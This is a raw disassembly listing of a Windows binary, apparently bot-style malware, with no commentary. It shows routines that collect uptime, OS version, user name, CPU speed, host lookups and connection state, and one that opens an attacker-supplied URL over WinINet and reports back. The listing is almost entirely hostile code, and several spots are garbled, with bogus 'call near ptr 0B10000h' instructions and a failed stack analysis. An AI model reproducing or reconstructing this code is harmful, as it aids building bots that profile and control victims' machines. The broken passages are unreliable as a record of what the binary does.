mov ecx, edi
jmp short loc_41AA12
; ---------------------------------------------------------------------------
loc_41AA10: ; CODE XREF: sub_41A89B+164j
mov ecx, eax
loc_41AA12: ; CODE XREF: sub_41A89B+16Fj
; sub_41A89B+173j
xor eax, eax
test ebx, ebx
jz short loc_41AA1F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AA22
; ---------------------------------------------------------------------------
loc_41AA1F: ; CODE XREF: sub_41A89B+17Bj
push 2
pop edi
loc_41AA22: ; CODE XREF: sub_41A89B+182j
test esi, esi
jz short loc_41AA2A
add eax, esi
jmp short loc_41AA2B
; ---------------------------------------------------------------------------
loc_41AA2A: ; CODE XREF: sub_41A89B+189j
dec edi
loc_41AA2B: ; CODE XREF: sub_41A89B+18Dj
test ecx, ecx
jz short loc_41AA33
add eax, ecx
jmp short loc_41AA34
; ---------------------------------------------------------------------------
loc_41AA33: ; CODE XREF: sub_41A89B+192j
dec edi
loc_41AA34: ; CODE XREF: sub_41A89B+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43CAB8
push eax
call sub_41BA76
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
lea eax, [ebp+var_26C]
push eax
call sub_4152AE
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41A89B endp
; =============== S U B R O U T I N E =======================================
sub_41AA78 proc near ; CODE XREF: seg000:00404052p
; seg000:004044D6p ...
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_4280A8 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
mov esi, offset dword_4DDE80
push 32h
push esi
call sub_41BB70
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_41AA78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AACB proc near ; CODE XREF: sub_416F7D+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call ds:dword_4280C8 ; GetVersionExA
test eax, eax
jz short loc_41AB5D
cmp [ebp+var_90], 4
jnz short loc_41AB33
cmp [ebp+var_8C], esi
jnz short loc_41AB1B
cmp [ebp+var_84], 1
jnz short loc_41AB0D
inc esi
loc_41AB0D: ; CODE XREF: sub_41AACB+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AB5D
xor esi, esi
inc esi
jmp short loc_41AB5D
; ---------------------------------------------------------------------------
loc_41AB1B: ; CODE XREF: sub_41AACB+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AB28
loc_41AB24: ; CODE XREF: sub_41AACB+77j
push 2
jmp short loc_41AB5C
; ---------------------------------------------------------------------------
loc_41AB28: ; CODE XREF: sub_41AACB+57j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AB5D
jmp short loc_41AB4D
; ---------------------------------------------------------------------------
loc_41AB33: ; CODE XREF: sub_41AACB+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AB5D
cmp [ebp+var_8C], esi
jz short loc_41AB24
cmp [ebp+var_8C], 1
jnz short loc_41AB51
loc_41AB4D: ; CODE XREF: sub_41AACB+66j
push 3
jmp short loc_41AB5C
; ---------------------------------------------------------------------------
loc_41AB51: ; CODE XREF: sub_41AACB+80j
cmp [ebp+var_8C], 2
jnz short loc_41AB5D
push 7
loc_41AB5C: ; CODE XREF: sub_41AACB+5Bj
; sub_41AACB+84j
pop esi
loc_41AB5D: ; CODE XREF: sub_41AACB+25j
; sub_41AACB+49j ...
mov eax, esi
pop esi
leave
retn
sub_41AACB endp
; =============== S U B R O U T I N E =======================================
sub_41AB62 proc near ; CODE XREF: sub_41AC18+290p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_41AB6A: ; CODE XREF: sub_41AB62+2Fj
; sub_41AB62+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call ds:dword_428064 ; Sleep
rdtsc
sub eax, esi
push 0
sbb edx, ebx
push edi
push edx
push eax
call sub_41D630
mov esi, edx
mov ebx, eax
test esi, esi
ja short loc_41AB6A
jb short loc_41AB99
cmp ebx, edi
ja short loc_41AB6A
loc_41AB99: ; CODE XREF: sub_41AB62+31j
push 0
push 64h
push esi
push ebx
call sub_41D6A0
mov ecx, edx
push 64h
xor edx, edx
mov edi, eax
test ecx, ecx
pop eax
ja short loc_41AC0C
jb short loc_41ABB8
cmp edi, 50h
jnb short loc_41ABBD
loc_41ABB8: ; CODE XREF: sub_41AB62+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41ABBD: ; CODE XREF: sub_41AB62+54j
test ecx, ecx
ja short loc_41AC0C
jb short loc_41ABC8
cmp edi, 47h
jnb short loc_41ABCD
loc_41ABC8: ; CODE XREF: sub_41AB62+5Fj
push 42h
xor edx, edx
pop eax
loc_41ABCD: ; CODE XREF: sub_41AB62+64j
test ecx, ecx
ja short loc_41AC0C
jb short loc_41ABD8
cmp edi, 37h
jnb short loc_41ABDD
loc_41ABD8: ; CODE XREF: sub_41AB62+6Fj
push 32h
xor edx, edx
pop eax
loc_41ABDD: ; CODE XREF: sub_41AB62+74j
test ecx, ecx
ja short loc_41AC0C
jb short loc_41ABE8
cmp edi, 26h
jnb short loc_41ABED
loc_41ABE8: ; CODE XREF: sub_41AB62+7Fj
push 21h
xor edx, edx
pop eax
loc_41ABED: ; CODE XREF: sub_41AB62+84j
test ecx, ecx
ja short loc_41AC0C
jb short loc_41ABF8
cmp edi, 1Eh
jnb short loc_41ABFD
loc_41ABF8: ; CODE XREF: sub_41AB62+8Fj
push 19h
xor edx, edx
pop eax
loc_41ABFD: ; CODE XREF: sub_41AB62+94j
test ecx, ecx
ja short loc_41AC0C
jb short loc_41AC08
cmp edi, 0Ah
jnb short loc_41AC0C
loc_41AC08: ; CODE XREF: sub_41AB62+9Fj
xor eax, eax
xor edx, edx
loc_41AC0C: ; CODE XREF: sub_41AB62+4Dj
; sub_41AB62+5Dj ...
sub eax, edi
pop edi
sbb edx, ecx
add eax, ebx
adc edx, esi
pop esi
pop ebx
retn
sub_41AB62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AC18 proc near ; CODE XREF: seg000:00404227p
var_15B7B = byte ptr -15B7Bh
var_1137C = dword ptr -1137Ch
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_43FDB4
mov [ebp+var_CC], 94h
call ds:dword_4280C8 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41AC9F
cmp [ebp+var_C4], ebx
jnz short loc_41AC7B
cmp [ebp+var_BC], 1
jnz short loc_41AC65
mov [ebp+var_4], offset a95 ; "95"
loc_41AC65: ; CODE XREF: sub_41AC18+44j
cmp [ebp+var_BC], 2
jnz loc_41AD1A
mov [ebp+var_4], offset aNt_0 ; "NT"
jmp short loc_41ACEB
; ---------------------------------------------------------------------------
loc_41AC7B: ; CODE XREF: sub_41AC18+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41AC8D
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_41ACE2
; ---------------------------------------------------------------------------
loc_41AC8D: ; CODE XREF: sub_41AC18+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41ACDB
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_41ACE2
; ---------------------------------------------------------------------------
loc_41AC9F: ; CODE XREF: sub_41AC18+33j
cmp [ebp+var_C8], 5
jnz short loc_41ACDB
cmp [ebp+var_C4], ebx
jnz short loc_41ACB9
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_41ACE2
; ---------------------------------------------------------------------------
loc_41ACB9: ; CODE XREF: sub_41AC18+96j
cmp [ebp+var_C4], 1
jnz short loc_41ACCB
mov [ebp+var_4], offset aXp_0 ; "XP"
jmp short loc_41ACE2
; ---------------------------------------------------------------------------
loc_41ACCB: ; CODE XREF: sub_41AC18+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41ACE2
loc_41ACDB: ; CODE XREF: sub_41AC18+7Cj
; sub_41AC18+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_41ACE2: ; CODE XREF: sub_41AC18+73j
; sub_41AC18+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41AD1A
loc_41ACEB: ; CODE XREF: sub_41AC18+61j
cmp [ebp+var_B8], bl
jz short loc_41AD1A
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_2 ; "%s (%s)"
push eax
call sub_41BA76
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41AD1A: ; CODE XREF: sub_41AC18+54j
; sub_41AC18+D1j ...
mov ax, ds:word_43A498
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, ds:dword_4CDAD8
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_41AD53
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41AD53: ; CODE XREF: sub_41AC18+12Cj
push [ebp+arg_4]
call sub_40AAF8
pop ecx
push eax
call ds:dword_4CDC38 ; inet_addr
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call ds:dword_4CDBB0 ; gethostbyaddr
cmp eax, ebx
jz short loc_41AD7C
push dword ptr [eax]
jmp short loc_41AD81
; ---------------------------------------------------------------------------
loc_41AD7C: ; CODE XREF: sub_41AC18+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41AD81: ; CODE XREF: sub_41AC18+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41BA76
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call near ptr 0B10000h
ror [ebp+var_1137C+1], 0FFh
push 46h
push eax
push offset dword_43CDAC
push ebx
mov esi, 409h
push ebx
push esi
call near ptr 0B10000h
or [ebp+var_15B7B], 0FFh
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call near ptr 0B10000h
cli
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call near ptr 0B10000h
aam 53h
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41BBC1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_416AA3
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41AA78
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AAF8
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416994
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416994
pop ecx
pop ecx
push eax
call sub_41AB62
push edx
push eax
push offset dword_43CCD0
push 200h
push [ebp+arg_0]
call sub_41BB70
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AC18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AECC proc near ; CODE XREF: seg000:00404255p
; seg000:00408CE3p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41B780
add esp, 0Ch
cmp ds:dword_4CDCDC, 0
jnz short loc_41AF40
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call ds:dword_4CDABC ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41AF21
lea eax, [ebp+var_8C]
push offset dword_43CE2C
push eax
call sub_41BA76
pop ecx
pop ecx
loc_41AF21: ; CODE XREF: sub_41AECC+40j
test [ebp+var_C], 1
lea eax, [ebp+var_8]
jz short loc_41AF39
push offset dword_43CE24
loc_41AF2F: ; CODE XREF: sub_41AECC+72j
push eax
call sub_41BA76
pop ecx
pop ecx
jmp short loc_41AF5F
; ---------------------------------------------------------------------------
loc_41AF39: ; CODE XREF: sub_41AECC+5Cj
push offset off_43CE20
jmp short loc_41AF2F
; ---------------------------------------------------------------------------
loc_41AF40: ; CODE XREF: sub_41AECC+28j
mov esi, offset off_43CE1C
lea eax, [ebp+var_8]
push esi
push eax
call sub_41BA76
lea eax, [ebp+var_8C]
push esi
push eax
call sub_41BA76
add esp, 10h
loc_41AF5F: ; CODE XREF: sub_41AECC+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AAF8
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43CDD8
push 200h
push [ebp+arg_0]
call sub_41BB70
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41AECC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF92 proc near ; DATA XREF: seg000:0040914Eo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
xor esi, esi
mov edi, 80h
inc esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43CF0C
call sub_41B780
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41B780
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41B780
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41B780
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41B780
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call ds:dword_4CDAF4 ; InternetCrackUrlA
test eax, eax
jz loc_41B132
cmp [ebp+var_34], ebx
jbe short loc_41B069
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41B7E0
add esp, 0Ch
loc_41B069: ; CODE XREF: sub_41AF92+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B087
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41B7E0
add esp, 0Ch
loc_41B087: ; CODE XREF: sub_41AF92+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B0A1
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41B7E0
add esp, 0Ch
loc_41B0A1: ; CODE XREF: sub_41AF92+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B0BB
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41B7E0
add esp, 0Ch
loc_41B0BB: ; CODE XREF: sub_41AF92+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push ds:dword_4CDBA8
call ds:dword_4CDBCC ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41B148
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call ds:dword_4CDBC0 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B14F
push ebx
push ebx
push ebx
push ebx
push eax
call ds:dword_4CDB6C ; HttpSendRequestA
test eax, eax
lea eax, [ebp+var_55C]
jz short loc_41B12B
push offset dword_43CEF0
jmp short loc_41B15A
; ---------------------------------------------------------------------------
loc_41B12B: ; CODE XREF: sub_41AF92+190j
push offset unk_43CEB4
jmp short loc_41B15A
; ---------------------------------------------------------------------------
loc_41B132: ; CODE XREF: sub_41AF92+B7j
lea eax, [ebp+var_55C]
push offset dword_43CE98
push eax
call sub_41BA76
mov esi, [ebp+var_C]
jmp short loc_41B160
; ---------------------------------------------------------------------------
loc_41B148: ; CODE XREF: sub_41AF92+153j
push offset unk_43CE6C
jmp short loc_41B154
; ---------------------------------------------------------------------------
loc_41B14F: ; CODE XREF: sub_41AF92+17Bj
push offset unk_43CE3C
loc_41B154: ; CODE XREF: sub_41AF92+1BBj
lea eax, [ebp+var_55C]
loc_41B15A: ; CODE XREF: sub_41AF92+197j
; sub_41AF92+19Ej
push eax
call sub_41BA76
loc_41B160: ; CODE XREF: sub_41AF92+1B4j
cmp [ebp+var_1D4], ebx
pop ecx
pop ecx
jnz short loc_41B18D
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409966
add esp, 14h
loc_41B18D: ; CODE XREF: sub_41AF92+1D6j
lea eax, [ebp+var_55C]
push eax
call sub_4152AE
pop ecx
push esi
call ds:dword_4CDC2C ; InternetCloseHandle
push [ebp+var_4]
call ds:dword_4CDC2C ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40B287
pop ecx
push ebx
call near ptr 0B10000h
test [edi+5Eh], ebx
pop ebx
sub_41AF92 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41B1C0 proc near ; CODE XREF: sub_40E3D2+185p
jmp ds:dword_4281DC
sub_41B1C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B1D0 proc near ; CODE XREF: start+38p sub_4019DB+6Bp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B1F0
loc_41B1DC: ; CODE XREF: sub_41B1D0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B223
test ecx, 3
jnz short loc_41B1DC
add eax, 0
loc_41B1F0: ; CODE XREF: sub_41B1D0+Aj
; sub_41B1D0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B1F0
mov eax, [ecx-4]
test al, al
jz short loc_41B241
test ah, ah
jz short loc_41B237
test eax, 0FF0000h
jz short loc_41B22D
test eax, 0FF000000h
jz short loc_41B223
jmp short loc_41B1F0
; ---------------------------------------------------------------------------
loc_41B223: ; CODE XREF: sub_41B1D0+11j
; sub_41B1D0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B22D: ; CODE XREF: sub_41B1D0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B237: ; CODE XREF: sub_41B1D0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B241: ; CODE XREF: sub_41B1D0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B1D0 endp
; =============== S U B R O U T I N E =======================================
sub_41B24B proc near ; CODE XREF: seg000:00401124p
; seg000:00407352p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B260
or eax, 0FFFFFFFFh
jmp short loc_41B29A
; ---------------------------------------------------------------------------
loc_41B260: ; CODE XREF: sub_41B24B+Ej
test al, 83h
jz short loc_41B298
push esi
call sub_41DDAB
push esi
mov edi, eax
call sub_41DD45
push dword ptr [esi+10h]
call sub_41DC92
add esp, 0Ch
test eax, eax
jge short loc_41B286
or edi, 0FFFFFFFFh
jmp short loc_41B298
; ---------------------------------------------------------------------------
loc_41B286: ; CODE XREF: sub_41B24B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B298
push eax
call sub_41B2A1
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B298: ; CODE XREF: sub_41B24B+17j
; sub_41B24B+39j ...
mov eax, edi
loc_41B29A: ; CODE XREF: sub_41B24B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B24B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B2A1 proc near ; CODE XREF: seg000:0040111Ep
; sub_40AA20+C3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B307
mov eax, ds:dword_4DF548
cmp eax, 3
jnz short loc_41B2CD
push esi
call sub_41E097
pop ecx
test eax, eax
push esi
jz short loc_41B2F9
push eax
call sub_41E0C2
pop ecx
pop ecx
jmp short loc_41B307
; ---------------------------------------------------------------------------
loc_41B2CD: ; CODE XREF: sub_41B2A1+14j
cmp eax, 2
jnz short loc_41B2F8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41EDF2
add esp, 0Ch
test eax, eax
jz short loc_41B2F8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41EE49
add esp, 0Ch
jmp short loc_41B307
; ---------------------------------------------------------------------------
loc_41B2F8: ; CODE XREF: sub_41B2A1+2Fj
; sub_41B2A1+44j
push esi
loc_41B2F9: ; CODE XREF: sub_41B2A1+20j
push 0
push ds:dword_4DF544
call ds:dword_428144 ; RtlFreeHeap
loc_41B307: ; CODE XREF: sub_41B2A1+Aj
; sub_41B2A1+2Aj ...
pop esi
leave
retn
sub_41B2A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B30A proc near ; CODE XREF: seg000:00401105p
; sub_40F3DD+4Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B32E
xor eax, eax
jmp loc_41B3D7
; ---------------------------------------------------------------------------
loc_41B32E: ; CODE XREF: sub_41B30A+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B341
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B34D
; ---------------------------------------------------------------------------
loc_41B341: ; CODE XREF: sub_41B30A+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B34D
; ---------------------------------------------------------------------------
loc_41B34A: ; CODE XREF: sub_41B30A+C4j
mov ecx, [ebp+arg_0]
loc_41B34D: ; CODE XREF: sub_41B30A+35j
; sub_41B30A+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41B37F
mov eax, [esi+4]
test eax, eax
jz short loc_41B37F
cmp ecx, eax
mov edi, ecx
jb short loc_41B364
mov edi, eax
loc_41B364: ; CODE XREF: sub_41B30A+56j
push edi
push dword ptr [esi]
push ebx
call sub_41C500
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41B3CA
; ---------------------------------------------------------------------------
loc_41B37F: ; CODE XREF: sub_41B30A+49j
; sub_41B30A+50j
cmp ecx, [ebp+arg_C]
jb short loc_41B3B2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41B395
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41B395: ; CODE XREF: sub_41B30A+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F33C
add esp, 0Ch
test eax, eax
jz short loc_41B3DC
cmp eax, 0FFFFFFFFh
jz short loc_41B3E2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41B3CA
; ---------------------------------------------------------------------------
loc_41B3B2: ; CODE XREF: sub_41B30A+78j
push esi
call sub_41F263
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B3E6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41B3CA: ; CODE XREF: sub_41B30A+73j
; sub_41B30A+A6j
cmp [ebp+arg_0], 0
jnz loc_41B34A
mov eax, [ebp+arg_8]
loc_41B3D7: ; CODE XREF: sub_41B30A+1Fj
; sub_41B30A+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B3DC: ; CODE XREF: sub_41B30A+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41B3E6
; ---------------------------------------------------------------------------
loc_41B3E2: ; CODE XREF: sub_41B30A+9Fj
or dword ptr [esi+0Ch], 20h
loc_41B3E6: ; CODE XREF: sub_41B30A+B2j
; sub_41B30A+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41B3D7
sub_41B30A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B3F2 proc near ; CODE XREF: seg000:004010EEp
; sub_41D1C3+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41B40D
push [ebp+arg_4]
call sub_41B6C5
pop ecx
jmp loc_41B68D
; ---------------------------------------------------------------------------
loc_41B40D: ; CODE XREF: sub_41B3F2+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41B422
push [ebp+arg_0]
call sub_41B2A1
pop ecx
jmp loc_41B68B
; ---------------------------------------------------------------------------
loc_41B422: ; CODE XREF: sub_41B3F2+20j
mov eax, ds:dword_4DF548
cmp eax, 3
jnz loc_41B532
loc_41B430: ; CODE XREF: sub_41B3F2+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B50E
push [ebp+arg_0]
call sub_41E097
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41B4E9
cmp esi, ds:dword_4DF540
ja short loc_41B4A2
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41E8A0
add esp, 0Ch
test eax, eax
jnz short loc_41B49E
push esi
call sub_41E3EB
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B4A2
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41B482
mov eax, esi
loc_41B482: ; CODE XREF: sub_41B3F2+8Cj
push eax
push ebx
push edi
call sub_41C500
push ebx
call sub_41E097
push [ebp+arg_0]
mov ebx, eax
push ebx
